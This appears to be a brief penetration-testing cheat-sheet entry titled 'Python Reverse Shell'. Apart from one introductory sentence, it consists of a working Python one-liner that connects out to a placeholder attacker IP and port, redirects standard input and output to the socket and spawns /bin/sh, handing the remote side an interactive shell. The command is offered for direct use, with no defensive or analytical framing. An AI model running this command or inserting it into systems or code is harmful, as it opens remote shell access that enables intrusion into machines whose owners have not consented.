Python Reverse Shell

This is a python oneliner to open a shell in a case when you are allowed to execute python.

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR IP>",<YOUR PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
